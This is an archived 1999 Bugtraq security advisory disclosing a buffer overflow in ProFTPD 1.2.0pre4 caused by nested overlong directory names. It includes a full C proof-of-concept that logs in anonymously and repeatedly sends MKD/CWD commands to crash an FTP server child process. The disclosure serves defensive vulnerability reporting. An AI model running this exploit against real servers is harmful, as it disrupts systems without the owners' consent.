Bugtraq mailing list archives

ProFTP-1.2.0pre4 buffer overflow -- once more


From: deraison () CVS NESSUS ORG (Renaud Deraison)
Date: Tue, 7 Sep 1999 18:51:26 +0200


Hi,

I have found out yet another buffer overflow in ProFTP 1.2.0pre4, which
may or may not be exploitable. I have noticed the authors and other
security related persons a week ago, and I still got no answer, in spite
of my repost.

So either they do not care, either my set up is badly done.

Why it may not be easily exploited (or not at all) : because the
segmentation fault is not done because of a changed return adress. The
overflow will in fact change a pointer and make it point on somewhere
else, and then FTPD will use strlen() on it. Anyway, maybe other
variables may be changed, I have not looked at it carefully yet.

How does the overflow works : this is a variation of the infamous and
now-old wu-ftpd mkdir overflow (make a directory in another directory, in
another directory, and so on), but this time, the name of the created
directories must not exceed 255 chars. That's all.

Attached to this message is a dumb program that will just make the remote
proftpd crash. Have a look at /var/log/messages, and you'll see something
as fun as :

Sep  1 14:18:49 prof proftpd[5327]: ProFTPD terminating (signal 11)

(quick note : the program will not check for error code, so make sure you
have the right to create directories in the appropriate directory, or
you'll get false positives/negatives).

This is *not* a DoS attack, since only a ProFTPd child will die.

I tested this flaw with proftpd 1.2.0pre4 as seen of
ftp://ftp.tos.net/pub/proftpd.

This problem was tested on a RedHat 6.0.

Patch: use something else / another good reason to not have
anonymous writeable directories.

                                -- Renaud


--
Renaud Deraison
The Nessus Project
http://www.nessus.org


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
/*
 * Crashes ProFTPd 1.2.0pre4 because of a buffer overflow.
 *
 *
 * This bug was discovered by the Nessus Security Scanner
 *
 * I don't know if this flaw can be exploited to gain
 * root privileges.
 *
 *
 * The name of the created directory must not exceed 255 chars !
 *
 *
 * Written by Renaud Deraison <deraison () cvs nessus org>
 *
 */

/*
 * Change this !
 */
#define TARGET "192.168.1.5"
#define WRITEABLE_DIR "/incoming"

int main()
{
 struct in_addr target;
 int soc;
 struct sockaddr_in sa;
 
 char * writeable_dir = "CWD "WRITEABLE_DIR"\r\n";
 char * mkd;
 char * cwd;


 inet_aton(TARGET, &target);
 mkd = malloc(300);     bzero(mkd, 300);
 cwd = malloc(300);     bzero(cwd, 300);
 
 soc = socket(PF_INET, SOCK_STREAM,0);
 
 bzero(&sa, sizeof(sa));
 sa.sin_family = AF_INET;
 sa.sin_port   = htons(21);
 sa.sin_addr.s_addr = target.s_addr;
 if(!(connect(soc, (struct sockaddr *)&sa, sizeof(struct sockaddr_in))))
 {
  char * buf = malloc(1024);
  int i;
  sprintf(mkd, "MKD ");
  memset(mkd+4, 'X', 254);
  sprintf(mkd, "%s\r\n", mkd);
  
  sprintf(cwd, "CWD ");
  memset(cwd+4, 'X', 254);
  sprintf(cwd, "%s\r\n", cwd);
  
  recv(soc, buf, 1024, 0);
  send(soc, "USER ftp\r\n", strlen("USER ftp\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  send(soc, "PASS joe@\r\n", strlen("PASS joe@\r\n"),0);
  recv(soc, buf, 1024, 0);
  bzero(buf, 1024);
  send(soc, writeable_dir, strlen(writeable_dir), 0);
  recv(soc, buf, 1024, 0);
  bzero(buf,1024);
  
  
  for(i=0;i<40;i++)
  {
   send(soc, mkd, strlen(mkd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
   send(soc, cwd, strlen(cwd), 0);
   recv(soc, buf, 1024,0);
   if(!strlen(buf))
   {
    printf("Remote FTPd crashed (see /var/log/messages)\n");
    exit(0);
   }
   bzero(buf, 1024);
  }
  printf("You were not vulnerable after all. Sorry\n");
  close(soc);
 }
 else perror("connect ");
 return(0);
}
   
  



Current thread: